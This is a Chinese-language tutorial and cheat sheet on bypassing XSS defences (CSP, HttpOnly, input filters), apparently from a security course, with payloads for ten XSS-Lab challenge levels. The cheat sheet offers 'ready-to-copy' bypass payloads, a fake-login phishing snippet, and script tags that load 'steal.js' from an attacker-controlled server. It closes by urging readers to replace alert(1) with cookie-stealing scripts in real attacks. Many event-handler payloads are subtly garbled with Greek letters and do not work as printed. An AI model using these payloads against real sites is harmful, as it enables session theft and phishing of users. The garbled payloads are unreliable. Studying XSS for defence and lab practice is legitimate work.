55:XSS防御机制与绕过实战(CSP+HttpOnly+Filter)

本节课是XSS系列的收尾,核心聚焦 "防御与绕过"------详解三大核心防御机制(CSP策略、HttpOnly属性、XSS Filter)的原理与实战效果,同时通过XSS-Lab靶场10关实战,掌握"标签闭合、事件触发、编码绕过"等核心技巧,最终形成"识别防御→分析过滤→针对性绕过"的完整思路。

一、核心防御机制(原理+实战+绕过)

1. CSP策略(Content Security Policy)

核心原理

CSP是"可信白名单机制",通过HTTP响应头限制网站可加载的资源来源(脚本、样式、图片等),本质是告诉浏览器"哪些外部资源能执行",从根源上阻断XSS(如禁止加载外域恶意JS)。

关键指令(实战常用)
指令 作用 示例配置
default-src 所有资源的默认加载规则(优先级最低) ​default-src 'self'​(仅允许同源资源)
script-src 限制脚本加载来源(防御XSS核心) ​script-src 'self' https://cdn.xxx.com​(仅同源+指定CDN)
img-src 限制图片加载来源 ​img-src 'self' data:​(同源+base64图片)
form-action 限制表单提交目标 ​form-action 'self'​(仅允许提交到同源)
实战案例(图片加载限制)
防御效果
  • 阻断XSS核心危害:无法加载外域恶意JS(如<script src="http://攻击者服务器/steal.js"></script>),即使注入脚本标签也无法执行;
  • 反射型XSS仍可能注入,但无实际危害(无法向外传输数据)。
绕过思路(仅配置缺陷可绕,无通用方法)

CSP绕过的核心是"开发者配置错误",而非绕过机制本身:

  • 指令配置过宽:如script-src '*'(允许所有域名脚本),等于未启用;
  • 白名单包含不可信域名:如script-src 'self' https://xxx.com,而xxx.com存在文件上传漏洞,可上传恶意JS;
  • 遗漏关键指令:仅限制script-src,未限制img-src,可能通过img标签事件触发XSS。
判断方法
  1. 命令行:curl -i http://目标IP/文件,查看响应头是否含Content-Security-Policy字段;
  2. 浏览器F12:Network→选中请求→Response Headers,查找Content-Security-Policy。

2. HttpOnly属性(Cookie保护)

核心原理

HttpOnly是Cookie的安全属性,由服务器通过setcookie​函数设置,禁止客户端JavaScript读取Cookie,直接阻断XSS的核心攻击手段(Cookie窃取)。

配置方式(PHP示例)
复制代码
// 参数依次:Cookie名、值、过期时间、路径、域名、Secure、HttpOnly
setcookie('name', 'xiaodi', time() + 3600, '/', '', false, true); // 启用HttpOnly
setcookie('pass', '123456', time() + 3600, '/', '', false, false); // 未启用
实战效果
  • 注入XSS脚本(如<script src="http://XSS平台/xxx.js"></script>);
  • 接收结果:仅能获取未启用HttpOnly的pass=123456,启用HttpOnly的name=xiaodi无法读取。
绕过思路(实战意义极小)

所有可行绕过均依赖老旧漏洞或特殊环境,无实际利用价值:

  • CVE-2012-0053(Apache漏洞):注入超长Cookie使服务器报错,状态码泄露Cookie,但漏洞已过时;
  • phpinfo页面:会显示所有Cookie(含HttpOnly),但需目标存在公开的phpinfo.php;
  • Flash/Java API:利用旧版插件API读取Cookie,但Flash已淘汰,Java插件极少使用。
替代攻击思路

Cookie无法窃取时,可转向其他XSS攻击:网页钓鱼、浏览器框架劫持、表单劫持等。

判断方法
  1. 浏览器F12:Application→Cookies→选中目标域名,查看"HttpOnly"列是否勾选;
  2. 命令行:curl -i http://目标域名,查看Set-Cookie字段是否含HttpOnly;
  3. JS控制台:执行document.cookie,若未返回某Cookie,大概率启用了HttpOnly。

3. XSS Filter(输入输出过滤)

核心原理

XSS Filter是检测并拦截恶意XSS代码的机制,主要通过三种方式防御:

  • 基于特征检测:黑名单过滤(如拦截<script>、onclick等关键词);
  • 基于异常检测:识别异常输入(如大量特殊字符);
  • 输出编码:将输入的特殊字符(<、>、")转为HTML实体(&lt;、&gt;、&quot;),使脚本无法执行。
实战核心:XSS-Lab靶场10关绕过技巧(提炼关键)

靶场核心是"分析过滤规则→针对性绕过",每关对应一种常见过滤场景,以下是核心思路:

关卡 过滤规则 核心绕过技巧 关键Payload示例
1 无过滤 直接注入脚本标签 ​<script>alert(1)</script>​
2 输出编码(<​转&lt;​),输入框value未编码 双引号闭合value属性,注入事件 ​" οnclick="alert(1)" x="​
3 输出编码,单引号未编码(htmlspecialchars​默认行为) 单引号闭合,注入input标签事件(onfocus​) ​' οnfοcus='alert(1)' x='​
4 过滤<​、>​,关键词未过滤 双引号闭合,注入事件(无需标签) ​" οnfοcus="alert(1)" x="​
5 过滤<script>​、on​关键词 闭合标签,注入<a>​/<iframe>​标签+伪协议 ​"><a href="javascript:alert(1)">xss</a>​
6 过滤<script>​、on​、src​等关键词,未转小写 大小写混淆绕过 ​<ScRiPt>alert(1)</ScRiPt>​
7 过滤<script>​(替换为空) 双写关键词绕过 ​<scriscriptpt>alert(1)</scrscriptipt>​
8 输出编码,限制链接标签 Unicode编码伪协议(浏览器自动解码) ​&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)​
9 要求含http://​才显示,过滤javascript​ 编码伪协议+包含http://​ ​http://&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://')​
10 隐藏input标签(hidden),过滤<​、>​ 双引号闭合,添加type="submit"​显示按钮,注入事件 ​t_sort=" οnfοcus="alert(1)" type="submit">​
关键绕过思路总结
  1. 闭合优先:先判断输入点的闭合方式(单引号/双引号),通过闭合跳出属性/标签限制;
  2. 事件替代标签:<script>被过滤时,用onfocus(聚焦触发)、onclick(点击触发)等事件;
  3. 编码绕过:Unicode、HTML实体编码(适用于输出未解码场景);
  4. 关键词变形:大小写混淆、双写关键词(针对特征检测过滤);
  5. 标签替换:<script>失效时,用<a>、<iframe>、<svg>等支持伪协议/事件的标签。

二、黑盒XSS手工分析流程(实战通用)

  1. 找可控输入点:页面中所有显示用户输入的地方(搜索框、评论区、隐藏参数、UA头、Cookie);

  2. 注入测试脚本:先注入简单Payload(如<script>alert(1)</script>​、οnfοcus="alert(1)"​),观察是否执行;

  3. 分析过滤情况:

    • 未执行但Payload显示:查看F12→Elements,判断是否被编码(如<转&lt;);
    • Payload部分消失:判断关键词过滤(如<script>被删除);
  4. 针对性绕过:根据过滤规则选择闭合、事件、编码、关键词变形等技巧;

  5. 验证效果:确认Payload执行(弹窗、数据发送到接收平台)。

三、工具推荐:XSStrike(自动XSS检测)

核心用途

自动化生成变异XSS Payload,检测并验证XSS漏洞,减少手工测试工作量。

关键信息

  • 下载地址:https://github.com/s0md3v/XSStrike;
  • 核心功能:Payload变异、自动绕过过滤、支持GET/POST参数测试;
  • 使用建议:工具仅提供Payload列表,需手动验证有效性(部分Payload可能因过滤失效)。

四、核心总结

  1. 防御机制优先级:CSP(阻断根源)> HttpOnly(保护Cookie)> XSS Filter(辅助过滤);
  2. 绕过核心逻辑:不绕机制,绕配置/实现缺陷(如CSP配置过宽、Filter未过滤事件、编码不完整);
  3. 实战原则:手工分析为主,工具为辅,先明确过滤规则再动手,避免盲目尝试;
  4. 替代攻击:Cookie无法窃取时,转向钓鱼、表单劫持等无需Cookie的XSS攻击。

XSS防御绕过速查表(实战版)

本速查表聚焦 "防御识别→绕过技巧→直接可用Payload",覆盖CSP、HttpOnly、XSS Filter三大核心防御机制,适配黑盒测试、靶场实战场景,可直接复制Payload测试,高效突破XSS限制。

一、CSP策略(内容安全策略)

核心操作 具体方法/技巧 实战Payload/命令
快速判断是否开启 1. curl命令:curl -i http://目标IP/文件​ 2. 浏览器F12:Network→Response Headers→查找Content-Security-Policy​ -
绕过条件(仅配置缺陷) 1. 指令过宽(如script-src '*'​) 2. 白名单含不可信域名 3. 遗漏关键指令(如未限制img-src​) -
绕过技巧1:利用允许的域名 上传恶意JS到CSP允许的域名(如自身域名、信任CDN),通过<script src="允许域名/恶意.js"></script>​执行 ​<script src="http://目标域名/upload/malicious.js"></script>​
绕过技巧2:事件+允许的标签 若img-src 'self'​,用img​标签事件触发XSS(无外域请求,符合CSP) ​<img src=x οnerrοr="alert(document.domain)">​
绕过技巧3:数据协议(data:) 若script-src​允许data:​,直接嵌入编码后的JS ​<script src="data:text/javascript;base64,YWxlcnQoMSk7"></script>​(base64解码为alert(1);​)

二、HttpOnly属性(Cookie保护)

核心操作 具体方法/技巧 实战Payload/命令
快速判断是否开启 1. 浏览器F12:Application→Cookies→查看"HttpOnly"勾选状态 2. curl命令:curl -i http://目标域名​→查看Set-Cookie​是否含HttpOnly​ 3. JS控制台:document.cookie​→未返回某Cookie则可能开启 -
绕过可行性(极低) 仅支持老旧漏洞(CVE-2012-0053)、phpinfo页面,实战无意义 -
替代攻击思路(核心) 1. 网页钓鱼:注入虚假登录框 2. 表单劫持:篡改页面表单提交地址 3. 浏览器劫持:用document.write​覆盖页面 钓鱼Payload:<script>document.write('<input type="text" placeholder="请输入密码""><button οnclick="alert(\'密码已窃取\')">提交</button>')</script>​

三、XSS Filter(输入输出过滤)

过滤场景 绕过技巧 实战Payload(直接复制)
无过滤(输入直接回显) 直接注入脚本标签 ​<script>alert(1)</script>​ <svg οnlοad="alert(1)"></svg>​
输出编码(<​转&lt;​) 双引号闭合标签属性,注入事件 ​" οnclick="alert(1)" x="​(适用于value="输入"​场景)
单引号未编码(htmlspecialchars​默认) 单引号闭合,注入onfocus​事件(聚焦触发) ​' οnfοcus='alert(1)' x='​(适用于value='输入'​场景)
过滤<​、>​标签 双引号闭合,注入事件(无需尖括号) ​" οnfοcus="alert(1)" x="​(适用于输入在标签属性中)
过滤<script>​、on​关键词 闭合标签,注入<a>​/<iframe>​+伪协议 ​"><a href="javascript:alert(1)">点击触发</a>​
过滤关键词(未转小写) 大小写混淆绕过 ​<ScRiPt>alert(1)</ScRiPt>​ <ImG sRc=x oNeRrOr=alert(1)>​
过滤关键词(替换为空) 双写关键词绕过 ​<scriscriptpt>alert(1)</scrscriptipt>​ <imimgage src=x οnerrοr=alert(1)>​
输出编码+限制链接标签 Unicode编码伪协议(浏览器自动解码) ​&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)​(适用于<a href="输入">​场景)
要求含http://​才显示 编码伪协议+嵌入http://​ ​http://&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://')​
隐藏input标签(hidden) 闭合属性+添加type="submit"​显示按钮,注入事件 ​t_sort=" οnfοcus="alert(1)" type="submit">​(适用于隐藏参数t_sort​)

四、XSS-Lab靶场10关核心Payload汇总(直接套用)

关卡 核心Payload 适用场景
1 ​<script>alert(1)</script>​ 无过滤,输入直接回显
2 ​" οnclick="alert(1)" x="​ 输出编码,输入框value未编码
3 ​' οnfοcus='alert(1)' x='​ 单引号未编码,输入在value属性中
4 ​" οnfοcus="alert(1)" x="​ 过滤尖括号,输入在value属性中
5 ​"><a href="javascript:alert(1)">xss</a>​ 过滤<script>​和on​关键词
6 ​<ScRiPt>alert(1)</ScRiPt>​ 过滤关键词,未转小写
7 ​<scriscriptpt>alert(1)</scrscriptipt>​ 过滤关键词,替换为空
8 ​&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)​ 输出编码,友情链接场景
9 ​http://&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://')​ 要求含http://​,过滤javascript​
10 ​t_sort=" οnfοcus="alert(1)" type="submit">​ 隐藏input标签,参数t_sort​可控

五、使用提示

  1. 测试前先判断防御机制:优先用curl/F12确认是否开启CSP、HttpOnly,再针对性选择Payload;
  2. 事件触发Payload需手动激活:onfocus(点击输入框聚焦)、onclick(点击元素);
  3. 编码Payload需确保浏览器能解码:Unicode、base64编码仅适用于标签属性或script src场景;
  4. 实战中优先选择无弹窗Payload:将alert(1)替换为Cookie窃取、钓鱼脚本(如<script src="http://你的服务器/steal.js"></script>)。
相关推荐
helloworld也报错?1 分钟前
保存网页为PDF
前端·javascript·pdf
码丁_1172 分钟前
某it培训机构前端三阶段react及新增面试题
前端·react.js·前端框架
石小石Orz2 分钟前
自定义AI智能体扫描内存泄漏代码
前端·ai编程
_木棠3 分钟前
uniapp:H5端reLaunch跳转后,返回还有页面存在问题
前端·uni-app
纳兰瑞雪18 分钟前
nodeJs electron程式开发demo
开发语言·前端·javascript
why技术18 分钟前
可怕,看到一个冷血的算法。人心逐利,算法只会更聪明地逐利。
前端·后端·算法
祎直向前44 分钟前
linuxshell循环,条件分支语句
前端·chrome
LongtengGensSupreme44 分钟前
开放所有跨域 ----前端和后端
前端·后端·ajax·vue·api·jquery
我算哪枝小绿植1 小时前
react实现日历拖拽效果
前端·react.js·前端框架
白粥1 小时前
【HTML】文本格式化
前端·javascript·html